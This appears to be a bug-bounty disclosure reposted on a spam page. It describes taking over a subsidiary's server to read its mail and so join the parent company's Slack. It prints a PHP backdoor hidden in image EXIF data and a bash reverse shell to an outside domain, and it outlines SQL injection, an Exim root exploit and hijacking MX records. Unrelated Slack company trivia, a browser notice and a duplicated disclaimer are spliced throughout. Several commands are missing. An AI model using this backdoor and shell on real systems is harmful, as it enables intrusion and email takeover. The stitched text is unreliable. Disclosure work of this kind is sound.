Disclaimer : Prior permissions were taken before performing heavy attacks on the targets below, you should not try this without taking prior permission.
The following was reported to a program on HackerOne, I have redacted the company name, lets call it ParentCompany. So, ParentCompany has a program on HackerOne which has a child company lets say it childcompany.com , The childcompany was not in scope of the program nor mentioned anywhere on the policy page, but hacking inside it led to something which could have a critical security impact to the company. Here is the exact report i submitted on HackerOne with some redaction :
The Wyanoke Group is the parent company for Healio, Healio LIVE, Healio Strategic Solutions, SLACK Incorporated, and Vindico Medical Education. The shared mission of our companies is to deliver. Slack had been an internal tool used for the development of Glitch. The company raised $42.75 million in April 2014. In October 2014, the company raised $120 million in venture capital with a $1.2 billion valuation led by Kleiner Perkins and GV. Earlier investors Andreessen Horowitz, Accel, and Social Capital also participated in this round. Disclaimer: Prior permissions were taken before performing heavy attacks on the targets below, you should not try this without taking prior permission. The following was reported to a program on HackerOne, I have redacted the company name, lets call it ParentCompany. So, ParentCompany has a program on HackerOne which has a child company lets say it childcompany.com, The childcompany was. Try Slack for free with your teammates. All it takes is an email address to get started. This browser is no longer supported. We know it's a hassle to switch browsers, but we want your experience of Slack to be fast, secure, and the best it can possibly be.
Hello ParentCompany,
Going to the Slack url of ParentCompany : https://parentcompany.slack.com/ shows that If you have an @parentcompany.com or @childcompany.com email address, you can create an account.
The thing which interests me is the website childcompany.com, So If i am able to read emails of anything@childcompany.com i can get inside ParentCompany's Slack Team
:no_upscale()/cdn.vox-cdn.com/uploads/chorus_asset/file/19432542/VRG_3825_Empowerment_Korey.jpg "Slack Parent Company")
Performing a whois search shows the organization to be ChildCompany with the nameservers ns1.childcompany.com and ns2.childcompany.com
XX.XX.XX.XX is the server ip of childcompany.com
Visiting http://XX.XX.XX.XX/ redirects to http://XX.XX.XX.XX/cgi-sys/defaultwebpage.cgi which displays :
So we have cPanel running on the server ( http://XX.XX.XX.XX:2082/ ) which means that somehow if we can get access to the server we can edit the zone file and add our MX records and receive mails with the address anything@childcompany.com
So just to assume somehow we got access to the server, we still need to be root to edit the zone file of childcompany.com to add our MX Records.
Doing a nmap scan against childcompany.com shows that its running Exim smtpd 4.80 on port 26
Exim <= 4.84-3 has a very simple local root exploit (#REF: https://www.exploit-db.com/exploits/39535/ )
Ok so we know that cPanel is running on the server and we have a local root exploit by which we can possibly modify the zone file of childcompany.com to add our MX Records Now the most important step, We need a RCE on the server
SQLi :
Visiting the website i found mostly all of the files are vulnerable to SQLi
A warning can be seen on the page :
We also have admin panel at http://www.childcompany.com/admin/
The Following Query will fetch the credentials of admin panel :
which gives us :
We can login inside the Admin panel using the credentials admin:redactedpass. Inside the admin panel we can upload images by going to
So the uploader checks whether the uploaded file is a valid image or not but doesn't checks for the file extension, so we can upload a image with PHP backdoor in exif data, So I uploaded a image with <?php echo eval(base64_decode($_GET['cmd'])); ?><!-- in the comments of the image using the tool Exif Pilot.
Here is The Link to file executing the command id :
So now lets gain a backconnect shell, after trying many methods the following seems to work. We need to use a domain name instead of IP to gain the backconnect shell and firewall rules only allowed outbound connections to ports 80 and 443, Now to get the backconnect shell we need to save our backconnect payload into a file inside /tmp/ as somehow the server is blocking direct back connect through executing the command by the shell, but saving it in a file and executing the file seems to work, we can save the payload by the following command :
Where YmFzaCAtaSA+JiAvZGV2L3RjcC9teWRvbWFpbi5jb20vODAgMD4m is the backconnect payload bash -i >& /dev/tcp/mydomain.com/80 0>&1 and then run it by running the command bash /tmp/1
This Saves our payload inside /tmp/1 :
And then run it by visiting :
About Slack
So we will get a backconnect and can easily gain root just by 2-3 commands :
Here is the zone file where all the DNS records are stored for the domain :
Impact
Now as we are root we can simply add our MX records of any free business email provider such as ZohoMail by editing the zone file /var/named/childcompany.com.db and then run the command rndc reload childcompany.com to update the dns records. So now we can receive mails on behalf of childcompany.com and simply request a signup link to get inside ParentCompany's Slack Team and from there view internal communications between employees and attacker can pivot further to get access to https://parentcompany.com
Regards,
Parth :)
Who Owns Slack
Takeaway
Parent Company List
You should always check if you can somehow read emails of anything@domain.com, of the domain(s) mentioned in https://companyname.slack.com/ if it allows signup through email, may it be Ticket Trick, credientials found on GitHub or hacking inside an out of scope asset (with prior permissions ofcourse), as access to a company's slack can result in gaining full access to the company's servers, sensative information etc.
Who Owns Slack App
Thanks Sandeep for proofreading.